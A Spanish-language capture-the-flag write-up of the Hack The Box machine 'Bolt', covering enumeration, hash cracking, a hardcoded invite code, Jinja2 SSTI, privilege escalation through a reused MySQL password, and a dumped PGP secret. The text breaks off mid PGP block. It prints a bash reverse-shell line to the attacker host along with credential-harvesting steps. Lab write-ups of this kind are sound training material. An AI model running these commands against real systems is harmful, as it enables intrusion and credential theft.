Inicio Bolt HTB Write-up
Entrada
Cancelar

Bolt HTB Write-up

Resumen

Saludos, en esta oportunidad vamos a resolver la máquina de Hack The Box llamada Bolt, la cual tiene una dificultad media. Para lograr vulnerarla realizaremos lo siguiente:

  • Enumeración del sistema y subdominios.
  • Leaks de información sensible.
  • SSTI (Jinja2).
  • Enumeración de bases de datos (sqlite3, mysql).
  • Utilización de linpeas.sh para encontrar información.
  • Uso de GPG.

Reconocimiento y Enumeración

En primer lugar, se comprueba la correcta conexión en la VPN con la máquina utilizando ping:

1
2
3
4
ping -c 1 10.10.11.114

PING 10.10.11.114 (10.10.11.114) 56(84) bytes of data.
64 bytes from 10.10.11.114: icmp_seq=1 ttl=63 time=143 ms

Se observa que existe una correcta conexión con la máquina.

Para realizar un reconocimiento activo se utilizará la herramienta nmap, en búsqueda de puertos abiertos en todo el rango (65535) y aplicando el parámetro -sS el cual permite aumentar el rendimiento del escaneo, haciendo que las conexiones no se realicen totalmente (haciendo solo syn syn-ack):

1
sudo nmap -p- -sS --open -min-rate 5000 10.10.11.114 -oG Port

Al finalizar el escaneo, se pueden observar los puertos abiertos de la máquina víctima:

1
2
3
4
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

Realizamos un escaneo de los servicios expuestos utilizando nmap:

1
sudo nmap -sCV -p22,80,443 10.10.11.114 -oN ServiceScan

Como resultado del escaneo tenemos:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 4d208ab2c28cf53ebed2e81816286e8e (RSA)
|   256 7b0ec75f5a4c7a117fdd585a172fcdea (ECDSA)
|_  256 a7224e45198e7d3cbcdf6e1d6c4f4156 (ED25519)
80/tcp  open  http     nginx 1.18.0 (Ubuntu)
|_http-title:     Starter Website -  About 
|_http-server-header: nginx/1.18.0 (Ubuntu)
443/tcp open  ssl/http nginx 1.18.0 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-title: Passbolt | Open source password manager for teams
|_Requested resource was /auth/login?redirect=%2F
| ssl-cert: Subject: commonName=passbolt.bolt.htb/organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU
| Not valid before: 2021-02-24T19:11:23
|_Not valid after:  2022-02-24T19:11:23
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Observamos http y https, utilizaremos whatweb para enumerar información:

1
2
3
whatweb 10.10.11.114

http://10.10.11.114 [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[example@company.com], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.114], JQuery, Meta-Author[Themesberg], Open-Graph-Protocol[website], Script, Title[Starter Website -  About][Title element contains newline(s)!], nginx[1.18.0]
1
2
3
whatweb https://10.10.11.114
https://10.10.11.114 [302 Found] Cookies[passbolt_session], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], HttpOnly[passbolt_session], IP[10.10.11.114], RedirectLocation[/auth/login?redirect=%2F], UncommonHeaders[content-security-policy], nginx[1.18.0]
https://10.10.11.114/auth/login?redirect=%2F [200 OK] Cookies[csrfToken,passbolt_session], Country[RESERVED][ZZ], Django, HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], HttpOnly[passbolt_session], IP[10.10.11.114], Script, Strict-Transport-Security[max-age=31536000; includeSubDomains], Title[Passbolt | Open source password manager for teams], UncommonHeaders[x-permitted-cross-domain-policies,referrer-policy,x-download-options,x-content-type-options,x-gpgauth-version,x-gpgauth-login-url,x-gpgauth-logout-url,x-gpgauth-verify-url,x-gpgauth-pubkey-url,access-control-expose-headers,x-gpgauth-authenticated,x-gpgauth-progress,x-gpgauth-error,x-gpgauth-debug,content-security-policy], X-Frame-Options[sameorigin], nginx[1.18.0]

Observamos un montón de información, en primer lugar, vamos a visitar la página por http:

Si inspeccionamos la página, no encontramos nada interesante, pero tenemos un panel de login:

Intentamos entrar por si tienen credenciales por defecto:

Pero no. Adelantando por acá no pillamos ningún tipo de vulnerabilidad.

Si volvemos a la página principal vemos diferentes opciones:

Si las revisamos no encontramos nada interesante, sin embargo, existe la de descargas, que nos descarga un archivo .tar:

Sin embargo, lo revisaremos después. Ahora vamos a inspeccionar la página https:

Pero no vemos nada.

Si observamos las capturas dentro del certificado ssl encontramos lo siguiente passbolt.bolt.htb, vamos a agregar estas direcciones a nuestro archivo /etc/hosts.

1
2
3
4
5
6
127.0.0.1       localhost
127.0.1.1       kali
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters
10.10.11.114    bolt.htb passbolt.bolt.htb

Si ingresamos al subdominio:

Pero al momento de ingresar un mail nos dice lo siguiente:

No tenemos invitación, por lo tanto, poco que hacer acá. De la misma que lo anterior, si probamos injecciones acá tampoco encontraremos nada.

En este punto vamos a enumerar subdominios, en caso de no encontrar nada lo haremos a directorios, para ello utilizaremos wfuzz:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
wfuzz -c --hc=404,403 -w /home/kali/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.bolt.htb" http://bolt.htb
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://bolt.htb/
Total requests: 114441

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                           
=====================================================================

000000001:   200        504 L    1801 W     30341 Ch    "www"                                                                                                                                             
000000003:   200        504 L    1801 W     30341 Ch    "ftp"                                                                                                                                             
000000015:   200        504 L    1801 W     30341 Ch    "ns"                                                                                                                                              
000000007:   200        504 L    1801 W     30341 Ch    "webdisk"                                                                                                                                         
000000031:   200        504 L    1801 W     30341 Ch    "mobile"                                                                                                                                          
000000050:   200        504 L    1801 W     30341 Ch    "wiki"                                                                                                                                            
000000049:   200        504 L    1801 W     30341 Ch    "server"                                                                                                                                          
000000048:   200        504 L    1801 W     30341 Ch    "portal"                                                                                                                                          
000000047:   200        504 L    1801 W     30341 Ch    "news"                                                                                                                                            
000000046:   200        504 L    1801 W     30341 Ch    "img"                                                                                                                                             
000000045:   200        504 L    1801 W     30341 Ch    "www1"                                                                                                                                            
000000044:   200        504 L    1801 W     30341 Ch    "web"                                                                                                                                             
000000043:   200        504 L    1801 W     30341 Ch    "lists"                                                                                                                                           
000000042:   200        504 L    1801 W     30341 Ch    "static"           

Observamos un montón, para filtrar quitaremos los resultados que tengan 30341 ch:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
wfuzz -c --hc=404,403 --hh=30341 -w /home/kali/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.bolt.htb" http://bolt.htb
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://bolt.htb/
Total requests: 114441

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                           
=====================================================================

000000038:   302        3 L      24 W       219 Ch      "demo"                                                                                                                                            
000000002:   200        98 L     322 W      4943 Ch     "mail"      

Encontramos demo y mail, vamos a agregarlos al /etc/hosts y revisarlos:

Explotación

Pero no podemos ver nada, quizas se debe requerir estar autenticado o algo por el estilo. En este punto no queda mucho mas que hacer, por lo tanto, revisaremos el archivo .tar que hemos descargado por si encontramos alguna información de utilidad.

En primer lugar lo vamos a descomprimir:

1
2
3
4
5
6
7
tar -xf image.tar
❯ ls
187e74706bdc9cb3f44dca230ac7c9962288a5b8bd579c47a36abf64f35c2950  3d7e9c6869c056cdffaace812b4ec198267e26e03e9be25ed81fe92ad6130c6b       a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2
1be1cefeda09a601dd9baa310a3704d6309dc28f6d213867911cd2257b95677c  41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad       d693a85325229cdf0fecd248731c346edbc4e02b0c6321e256ffc588a3e6cb26
2265c5097f0b290a53b7556fd5d721ffad8a4921bfc2a6e378c04859185d27fa  745959c3a65c3899f9e1a5319ee5500f199e0cadf8d487b92e2f297441f8c5cf       image.tar
3049862d975f250783ddb4ea0e9cb359578da4a06bf84f05a7ea69ad8d508dab  859e74798e6c82d5191cd0deaae8c124504052faa654d6691c21577a8fa50811.json  manifest.json
3350815d3bdf21771408f91da4551ca6f4e82edce74e9352ed75c2e8a5e68162  9a3bb655a4d35896e951f1528578693762650f76d7fb3aa791ac8eec9f14bc77       repositories

Vamos a filtrar entre todos estos directorios y archivos.

En primer lugar haremos un tree:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
tree -fas
[       4096]  .
├── [       4096]  ./187e74706bdc9cb3f44dca230ac7c9962288a5b8bd579c47a36abf64f35c2950
│   ├── [        406]  ./187e74706bdc9cb3f44dca230ac7c9962288a5b8bd579c47a36abf64f35c2950/json
│   ├── [    4463104]  ./187e74706bdc9cb3f44dca230ac7c9962288a5b8bd579c47a36abf64f35c2950/layer.tar
│   └── [          3]  ./187e74706bdc9cb3f44dca230ac7c9962288a5b8bd579c47a36abf64f35c2950/VERSION
├── [       4096]  ./1be1cefeda09a601dd9baa310a3704d6309dc28f6d213867911cd2257b95677c
│   ├── [        482]  ./1be1cefeda09a601dd9baa310a3704d6309dc28f6d213867911cd2257b95677c/json
│   ├── [       3072]  ./1be1cefeda09a601dd9baa310a3704d6309dc28f6d213867911cd2257b95677c/layer.tar
│   └── [          3]  ./1be1cefeda09a601dd9baa310a3704d6309dc28f6d213867911cd2257b95677c/VERSION
├── [       4096]  ./2265c5097f0b290a53b7556fd5d721ffad8a4921bfc2a6e378c04859185d27fa
│   ├── [        482]  ./2265c5097f0b290a53b7556fd5d721ffad8a4921bfc2a6e378c04859185d27fa/json
│   ├── [      15360]  ./2265c5097f0b290a53b7556fd5d721ffad8a4921bfc2a6e378c04859185d27fa/layer.tar
│   └── [          3]  ./2265c5097f0b290a53b7556fd5d721ffad8a4921bfc2a6e378c04859185d27fa/VERSION
├── [       4096]  ./3049862d975f250783ddb4ea0e9cb359578da4a06bf84f05a7ea69ad8d508dab
│   ├── [        482]  ./3049862d975f250783ddb4ea0e9cb359578da4a06bf84f05a7ea69ad8d508dab/json
│   ├── [       7168]  ./3049862d975f250783ddb4ea0e9cb359578da4a06bf84f05a7ea69ad8d508dab/layer.tar
│   └── [          3]  ./3049862d975f250783ddb4ea0e9cb359578da4a06bf84f05a7ea69ad8d508dab/VERSION
├── [       4096]  ./3350815d3bdf21771408f91da4551ca6f4e82edce74e9352ed75c2e8a5e68162
│   ├── [       1312]  ./3350815d3bdf21771408f91da4551ca6f4e82edce74e9352ed75c2e8a5e68162/json
│   ├── [       8192]  ./3350815d3bdf21771408f91da4551ca6f4e82edce74e9352ed75c2e8a5e68162/layer.tar
│   └── [          3]  ./3350815d3bdf21771408f91da4551ca6f4e82edce74e9352ed75c2e8a5e68162/VERSION
├── [       4096]  ./3d7e9c6869c056cdffaace812b4ec198267e26e03e9be25ed81fe92ad6130c6b
│   ├── [        482]  ./3d7e9c6869c056cdffaace812b4ec198267e26e03e9be25ed81fe92ad6130c6b/json
│   ├── [   29789184]  ./3d7e9c6869c056cdffaace812b4ec198267e26e03e9be25ed81fe92ad6130c6b/layer.tar

Vemos mucha información, tendremos que ir filtrando para encontrar cosas que nos sean de utilidad.

1
2
3
4
5
6
7
8
9
10
11
12
tree -fas | grep "layer.tar"
│   ├── [    4463104]  ./187e74706bdc9cb3f44dca230ac7c9962288a5b8bd579c47a36abf64f35c2950/layer.tar
│   ├── [       3072]  ./1be1cefeda09a601dd9baa310a3704d6309dc28f6d213867911cd2257b95677c/layer.tar
│   ├── [      15360]  ./2265c5097f0b290a53b7556fd5d721ffad8a4921bfc2a6e378c04859185d27fa/layer.tar
│   ├── [       7168]  ./3049862d975f250783ddb4ea0e9cb359578da4a06bf84f05a7ea69ad8d508dab/layer.tar
│   ├── [       8192]  ./3350815d3bdf21771408f91da4551ca6f4e82edce74e9352ed75c2e8a5e68162/layer.tar
│   ├── [   29789184]  ./3d7e9c6869c056cdffaace812b4ec198267e26e03e9be25ed81fe92ad6130c6b/layer.tar
│   ├── [   62859776]  ./41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/layer.tar
│   ├── [       7680]  ./745959c3a65c3899f9e1a5319ee5500f199e0cadf8d487b92e2f297441f8c5cf/layer.tar
│   ├── [    6984192]  ./9a3bb655a4d35896e951f1528578693762650f76d7fb3aa791ac8eec9f14bc77/layer.tar
│   ├── [      19968]  ./a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2/layer.tar
│   ├── [   57565184]  ./d693a85325229cdf0fecd248731c346edbc4e02b0c6321e256ffc588a3e6cb26/layer.tar

Nos interesan los archivos .tar, asi que los vamos a selecionar, ahora si utilizamos el 7z para ver el contenido de uno de ellos:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
7z l ./187e74706bdc9cb3f44dca230ac7c9962288a5b8bd579c47a36abf64f35c2950/layer.tar

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,32 CPUs Intel(R) Core(TM) i5-9400F CPU @ 2.90GHz (906EA),ASM,AES-NI)

Scanning the drive for archives:
1 file, 4463104 bytes (4359 KiB)                                             

Listing archive: ./187e74706bdc9cb3f44dca230ac7c9962288a5b8bd579c47a36abf64f35c2950/layer.tar

--
Path = ./187e74706bdc9cb3f44dca230ac7c9962288a5b8bd579c47a36abf64f35c2950/layer.tar
Type = tar
Physical Size = 4463104
Headers Size = 244224
Code Page = UTF-8

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2019-03-06 15:18:31 D....            0            0  bin
2019-03-06 15:18:31 .....           12            0  bin/ash
2019-03-06 15:18:31 .....           12            0  bin/base64
2019-03-06 15:18:31 .....           12            0  bin/bbconfig

Nos lista toda la información. Ahora haremos un for para ir layer por layer aplicando el comando 7z:

1
for tar in $(tree -fas | grep "layer.tar"|awk 'NF{print $NF}');do 7z l $tar; ;done

utilizamos awk para sacar como ultimo argumento el .tar. Ahora que podemos listar el contenido de estos comprimidos vamos a buscar cosas que nos interesen, por ejemplo, podría ser donde se mencione admin,password, config o db, asi que usaremos grep para esto:

1
for tar in $(tree -fas | grep "layer.tar"|awk 'NF{print $NF}');do echo "CAMBIANDO DE ARCHIVO" $tar ;7z l $tar|grep -E "admin|password|credentials|config|db|database";done

Agregamos el echo de cambiando archivo para diferenciar todo en el output, además agregamos un par de palabras más para buscar, el resultado es:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
for tar in $(tree -fas | grep "layer.tar"|awk 'NF{print $NF}');do echo "CAMBIANDO DE ARCHIVO" $tar;7z l $tar|grep -E "admin|password|credentials|config|db|database";done
CAMBIANDO DE ARCHIVO ./187e74706bdc9cb3f44dca230ac7c9962288a5b8bd579c47a36abf64f35c2950/layer.tar
2019-03-06 15:18:31 .....           12            0  bin/bbconfig
2019-03-06 15:18:31 D....            0            0  lib/apk/db
2019-03-06 15:18:31 .....        10730        10752  lib/apk/db/installed
2019-03-06 15:18:31 .....            0            0  lib/apk/db/lock
2019-03-06 15:18:31 .....         9728         9728  lib/apk/db/scripts.tar
2019-03-06 15:18:31 .....           76          512  lib/apk/db/triggers
2019-03-06 15:18:31 .....           12            0  sbin/ifconfig
2018-02-07 14:19:03 .....          393          512  sbin/ldconfig
2019-03-06 15:18:31 .....           12            0  sbin/vconfig
CAMBIANDO DE ARCHIVO ./1be1cefeda09a601dd9baa310a3704d6309dc28f6d213867911cd2257b95677c/layer.tar
CAMBIANDO DE ARCHIVO ./2265c5097f0b290a53b7556fd5d721ffad8a4921bfc2a6e378c04859185d27fa/layer.tar
CAMBIANDO DE ARCHIVO ./3049862d975f250783ddb4ea0e9cb359578da4a06bf84f05a7ea69ad8d508dab/layer.tar
Listing archive: ./3049862d975f250783ddb4ea0e9cb359578da4a06bf84f05a7ea69ad8d508dab/layer.tar
Path = ./3049862d975f250783ddb4ea0e9cb359578da4a06bf84f05a7ea69ad8d508dab/layer.tar
2021-03-05 12:45:09 .....            0            0  .wh.db.sqlite3

Encontramos bastantes cosas, sin embargo, si vamos bajando encontramos algo especial:

1
2
CAMBIANDO DE ARCHIVO ./a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2/layer.tar
2021-03-05 12:44:04 .....        16384        16384  db.sqlite3

Encontramos lo que parece un archivo de base de datos de sqlite, por lo tanto, vamos a revisarlo por si encontramos información:

1
tar -xf ./a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2/layer.tar
1
2
file db.sqlite3
db.sqlite3: SQLite 3.x database, last written using SQLite version 3025003, file counter 2, database pages 4, cookie 0x1, schema 4, UTF-8, version-valid-for 2

Efectivamente corresponde a una archivo de sqlite, vamos a abrirlo.

1
2
3
4
5
sqlite3 db.sqlite3
SQLite version 3.40.1 2022-12-28 14:03:47
Enter ".help" for usage hints.
sqlite> .tables
User

Vemos una tabla User, vamos a ver todo lo que contiene:

1
2
sqlite> select * from User;
1|admin|admin@bolt.htb|$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.||

Observamos el nombre de admin, su correo y un hash. Vamos a intentar crackear este hash utilizando john:

1
2
3
4
5
6
7
8
9
10
11
john --wordlist=/usr/share/wordlists/rockyou.txt hash
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
deadbolt         (?)     
1g 0:00:00:00 DONE (2023-02-15 14:46) 1.136g/s 196363p/s 196363c/s 196363C/s debie..curtis13
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Tenemos una contraseña, deadbolt vamos a probarla en los paneles de login que encontramos previamente:

Nos hemos logeado correctamente en la página principal.

No encontramos mucha información, pero hay una interesante:

Hablan sobre algo que ocurre con el mail y algo sobre una demo, interesante que justo sean los subdominions que encontramos, quizás tengamos que hacer algo con ellos.

Si volvemos a ver las páginas que no podíamos ver tenemos, para demo:

y para mail:

Sin embargo, nuestras credenciales no funcionan acá.

Si revisamos el login de demo, notamos una sección de registro:

Vamos a probarla:

Pero al momento de intentar registrarnos, nos pide un código de invitación que no tenemos. En este punto no tenemos más alternativas que buscar dentro de los .tar si encontramos algo similar, pues el panel tampoco podemos vulnerarlo.

Para esto filtraremos por el invite code:

1
2
3
4
grep -r -i -E "invite code|invite_code|invitation|invitation_code|invitation code"

grep: 9a3bb655a4d35896e951f1528578693762650f76d7fb3aa791ac8eec9f14bc77/layer.tar: binary file matches
grep: 41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/layer.tar: binary file matches

Observamos que encontró dos archivos que tienen información relacionada, asi que vamos a verlos.

Si descomprimimos y vamos revisando uno por uno, llegamos al segundo layer.tar:

1
2
3
4
5
 grep -r -i -E "invite code|invite_code|invitation|invitation_code|invitation code"
app/base/forms.py:    invite_code = TextField('Invite Code', id='invite_code'    , validators=[DataRequired()])
app/base/templates/accounts/register.html:            { form.invite_code(placeholder="Invite Code", class="form-control") }
app/base/templates/code-500.html:                                Invalid invitation code.
app/base/routes.py:        code   = request.form['invite_code']

Si revimos uno por uno estos archivos para ver lo que contiene, encontramos el routes.py y si lo inspeccionamos:

1
2
3
4
5
6
7
8
9
10
11
if 'register' in request.form:

        username  = request.form['username']
        email     = request.form['email'   ]
        code      = request.form['invite_code']
        if code != 'XNSS-HSJW-3NGU-8XTJ':
            return render_template('code-500.html')
        data = User.query.filter_by(email=email).first()
        if data is None and code == 'XNSS-HSJW-3NGU-8XTJ':
            # Check usename exists
            user = User.query.filter_by(username=username).first()

Encontramos el código de invitación en texto claro en la validación, muy buena practica.

Con este código, intentaremos registrarnos en la web de demo y conseguimos crearnos una cuenta utilizando el código de invitación, ahora iniciamos sesión:

Iniciamos:

Entramos, podemos ver un panel con diferentes opciones, si investigamos no parece que podamos hacer nada.

Por ahora, vamos a probar ingresar al área de mail, pues supuestamente hay una vulnerabilidad.

Como hemos visto, puede ser que esta vulnerabilidad sea ssti, debido a que el nombre jinja ha aprecido por ahí, sin embargo, debemos encontrar un output que permita ver nuestros imput para ver si es vulnerable.

Vamos a ver la web de mail:

Nos hemos logeado exitosamente. Podemos ver un panel donde llegan correos, lo que nos hace pensar que al enviar o recibir un correo pueda ocurrir un error, si nos ponemos a pensar como enviar un correo se nos ocurre que quizás podamos cambiar la contraseña, siempre llegan correos de confirmación, vamos a ver si funciona:

Encontramos esta parte en settings, vamos a guardar los cambios.

Observamos que nos ha llegado un mail:

Si hacemos click:

Podemos ver que dice que he cambiado mi nombre, a ver si ponemos otro:

Notamos que lo que ponemos en el campo de nombre, se ve reflejado en el mail, si es que esto tiene alguna vulnerabilidad vamos a probar injecciones, en especial SSTI, pues como dije antes, aparecio el nombre de jinja y con respecto a otras máquinas con SSTI las tecnologías se parecen:

Si vemos la respuesta:

Efectivamente, vemos como ha aparecido 49, por lo tanto, es vulnerable a SSTI, vamos a ir a la web de HackTricks para buscar payloads para SSTI en jinja2, pues esta web usa flask (python).

Encontramos el siguiente:

Esto debido a que como vimos está en python.

Si observamos la respuesta en el mail:

Observamos que injectamos comandos, ahora solo falta ganar acceso al sistema y lo haremos como siempre.

En primer lugar, tendremos un servidor http con python compartiendo un index.html malicioso:

1
2
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.17/1234 0>&1

Luego, haremos un curl desde el SSTI y lo pipeamos con bash para ejecutar el comando, ganando de esta forma acceso al sistema:

Si lo enviamos:

1
2
3
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.114 - - [15/Feb/2023 15:40:11] "GET / HTTP/1.1" 200 -

Y en el netcat:

1
2
3
4
5
6
7
8
rlwrap nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.17] from (UNKNOWN) [10.10.11.114] 48496
bash: cannot set terminal process group (826): Inappropriate ioctl for device
bash: no job control in this shell
www-data@bolt:~/demo$ whoami
whoami
www-data

Hemos ganado acceso al sistema, ahora buscaremos la flag:

1
2
3
4
5
6
7
www-data@bolt:/home$ ls -la
ls -la
total 16
drwxr-xr-x  4 root  root  4096 Mar  3  2021 .
drwxr-xr-x 19 root  root  4096 Jan 26  2022 ..
drwxr-x--- 15 clark clark 4096 Feb 25  2021 clark
drwxr-x--- 16 eddie eddie 4096 Aug 26  2021 eddie

Sin embargo no podemos, pues no tenemos privilegios.

Veamos nuestros permisos:

1
2
[sudo] password for www-data: 
^Csudo: 1 incorrect password attempt

Pero necesitamos contraseña.

Vamos a listar permisos SUID:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 www-data@bolt:~/demo$ find / -perm -4000 2>/dev/null
/opt/google/chrome/chrome-sandbox
/usr/sbin/pppd
/usr/lib/xorg/Xorg.wrap
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/vmware-user-suid-wrapper
/usr/bin/umount
/usr/bin/fusermount
/usr/bin/mount
/usr/bin/su
/usr/bin/sudo
/usr/bin/chsh

Pero no encontramos nada interesante.

Veamos por capabilities:

1
2
3
4
5
6
www-data@bolt:~/demo$ getcap -r / 2>/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep

Pero no vemos nada.

En este punto vamos a utilizar la herramienta linPEAS para enumerar información y posibles vías para escalar privilegios, lo encontramos en github.

Vamos a descargar el .sh y lo subimos a la máquina víctima, haremos un servidor http con python y lo descargaremos de alli.

1
2
3
4
5
6
7
8
9
10
www-data@bolt:~/demo$ wget http://10.10.14.17/linpeas.sh
--2023-02-15 14:28:59--  http://10.10.14.17/linpeas.sh
Connecting to 10.10.14.17:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 828145 (809K) [text/x-sh]
Saving to: ‘linpeas.sh’

linpeas.sh                                           100%[=====================================================================================================================>] 808.74K   782KB/s    in 1.0s    

2023-02-15 14:29:00 (782 KB/s) - ‘linpeas.sh’ saved [828145/828145]

Lo ejecutamos y analizando llegamos a esto:

1
2
3
4
5
6
7
8
9
10
11
Analyzing Passbolt Files (limit 70)
-rw-r----- 1 root www-data 3128 Feb 25  2021 /etc/passbolt/passbolt.php                                                                                                                                            
 * Passbolt ~ Open source password manager for teams
            'host' => 'localhost',
            'port' => '3306',
            'username' => 'passbolt',
            'password' => 'rT2;jW7<eY8!dX8}pQ8%',
            'database' => 'passboltdb',
    'EmailTransport' => [
            'host' => 'localhost',
            'port' => 587,

Tenemos una contraseña, vamos a probar si nos sirve para los usuarios que conocemos:

1
2
3
4
www-data@bolt:~/demo$ su eddie
Password: 
eddie@bolt:/var/www/demo$ whoami
eddie

Observamos que si hubo reutilización de contraseña, ahora buscamos la flag de usuario.

1
2
3
eddie@bolt:/var/www/demo$ cd /home/eddie
eddie@bolt:~$ cat user.txt
ec66625108db5198310091f2

¡Bien! Tenemos la flag de usuario, ahora tenemos que escalar privilegios.

Escalada de privilegios

Las credenciales que obtuvimos eran para mysql, asi que entraremos a ver que encontramos:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
eddie@bolt:~$ mysql -u passbolt -p
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 1473
Server version: 8.0.26-0ubuntu0.20.04.2 (Ubuntu)

Copyright (c) 2000, 2021, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> 

Buscamos las databases:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| passboltdb         |
+--------------------+
2 rows in set (0.00 sec)

mysql> use passboltdb
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed

Ahora veremos las tablas:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
mysql> show tables;
+-----------------------+
| Tables_in_passboltdb  |
+-----------------------+
| account_settings      |
| action_logs           |
| actions               |
| authentication_tokens |
| avatars               |
| comments              |
| email_queue           |
| entities_history      |
| favorites             |
| gpgkeys               |
| groups                |
| groups_users          |
| organization_settings |
| permissions           |
| permissions_history   |
| phinxlog              |
| profiles              |
| resource_types        |
| resources             |
| roles                 |
| secret_accesses       |
| secrets               |
| secrets_history       |
| user_agents           |
| users                 |
+-----------------------+

Observamos algunas tablas de interés, por ejemplo, secrets y users, veamos que hay:

1
mysql> select * from secrets;

Encontramos un mensajes PGP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
-----BEGIN PGP MESSAGE-----
Version: OpenPGP.js v4.10.9
Comment: https://openpgpjs.org

wcBMA/ZcqHmj13/kAQgAkS/2GvYLxglAIQpzFCydAPOj6QwdVV5BR17W5psc
g/ajGlQbkE6wgmpoV7HuyABUjgrNYwZGN7ak2Pkb+/3LZgtpV/PJCAD030kY
pCLSEEzPBiIGQ9VauHpATf8YZnwK1JwO/BQnpJUJV71YOon6PNV71T2zFr3H
oAFbR/wPyF6Lpkwy56u3A2A6lbDb3sRl/SVIj6xtXn+fICeHjvYEm2IrE4Px
l+DjN5Nf4aqxEheWzmJwcyYqTsZLMtw+rnBlLYOaGRaa8nWmcUlMrLYD218R
zyL8zZw0AEo6aOToteDPchiIMqjuExsqjG71CO1ohIIlnlK602+x7/8b7nQp
edLA7wF8tR9g8Tpy+ToQOozGKBy/auqOHO66vA1EKJkYSZzMXxnp45XA38+u
l0/OwtBNuNHreOIH090dHXx69IsyrYXt9dAbFhvbWr6eP/MIgh5I0RkYwGCt
oPeQehKMPkCzyQl6Ren4iKS+F+L207kwqZ+jP8uEn3nauCmm64pcvy/RZJp7
FUlT7Sc0hmZRIRQJ2U9vK2V63Yre0hfAj0f8F50cRR+v+BMLFNJVQ6Ck3Nov
8fG5otsEteRjkc58itOGQ38EsnH3sJ3WuDw8ifeR/+K72r39WiBEiE2WHVey
5nOF6WEnUOz0j0CKoFzQgri9YyK6CZ3519x3amBTgITmKPfgRsMy2OWU/7tY
